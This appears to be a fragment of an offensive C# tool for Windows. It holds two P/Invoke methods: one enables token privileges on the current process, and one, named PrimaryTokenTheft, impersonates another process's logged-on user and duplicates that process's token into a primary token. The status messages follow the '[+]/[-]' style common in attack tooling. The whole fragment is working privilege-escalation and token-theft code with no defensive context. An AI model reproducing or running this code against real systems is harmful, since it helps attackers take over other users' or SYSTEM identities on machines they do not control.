public static bool AdjustTokenPrivilege(string priv)
{
try {
Pinvoke.PTOKEN_PRIVILEGES tPriv;
IntPtr hProc = Pinvoke.GetCurrentProcess();
IntPtr tHandle = IntPtr.Zero;
if (Pinvoke.OpenProcessToken(hProc, Pinvoke.TOKEN_ADJUST_PRIVILEGES | Pinvoke.TOKEN_QUERY, ref tHandle))
{
tPriv.Count = 1;
tPriv.Luid = 0;
tPriv.Attr = Pinvoke.SE_PRIVILEGE_ENABLED;
Pinvoke.LookupPrivilegeValue(null, priv, ref tPriv.Luid);
Pinvoke.PRIVILEGE_SET privs = new Pinvoke.PRIVILEGE_SET {
Privilege = new Pinvoke.LUID_AND_ATTRIBUTES[1], Control = Pinvoke.PRIVILEGE_SET.PRIVILEGE_SET_ALL_NECESSARY, PrivilegeCount = 1
};
privs.Privilege[0].Luid = tPriv.Luid;
privs.Privilege[0].Attributes = Pinvoke.LUID_AND_ATTRIBUTES.SE_PRIVILEGE_ENABLED;
bool privCheck;
Pinvoke.PrivilegeCheck(tHandle, ref privs, out privCheck);
if (!privCheck)
{
Console.WriteLine("[*] Trying to adjust token for privilege '{0}'!", priv);
if (Pinvoke.AdjustTokenPrivileges(tHandle, false, ref tPriv, 0, IntPtr.Zero, IntPtr.Zero))
{
Console.WriteLine("[+] Success adjusting privilege to '{0}'!", priv);
return(true);
}
}
else
{
Console.WriteLine("[+] Process token already have '{0}'!", priv);
return(true);
}
}
} catch (Exception ex) {
throw ex;
}
Console.WriteLine("[-] Error adjusting privilege {0}", Marshal.GetLastWin32Error());
return(false);
}
public static IntPtr PrimaryTokenTheft(int pid)
{
IntPtr PrimaryToken = new IntPtr();
IntPtr hProcess = Pinvoke.OpenProcess(Pinvoke.ProcessAccessFlags.QueryInformation, true, pid);
if (hProcess != IntPtr.Zero)
{
IntPtr tokenHandle = new IntPtr();
if (Pinvoke.OpenProcessToken(hProcess, Pinvoke.TOKEN_DUPLICATE | Pinvoke.TOKEN_ASSIGN_PRIMARY | Pinvoke.TOKEN_QUERY, ref tokenHandle))
{
if (Pinvoke.ImpersonateLoggedOnUser(tokenHandle))
{
if (Pinvoke.DuplicateTokenEx(tokenHandle, Pinvoke.TOKEN_ADJUST_DEFAULT | Pinvoke.TOKEN_ADJUST_SESSIONID | Pinvoke.TOKEN_QUERY | Pinvoke.TOKEN_DUPLICATE | Pinvoke.TOKEN_ASSIGN_PRIMARY, IntPtr.Zero, 2, Pinvoke.TOKEN_TYPE.TokenPrimary, out PrimaryToken))
{
Console.WriteLine("[+] Success duplicating primary token!");
return(PrimaryToken);
}
}
}
}
Console.WriteLine("[-] Error impersonating process token! ({0})", Marshal.GetLastWin32Error());
return(IntPtr.Zero);
}
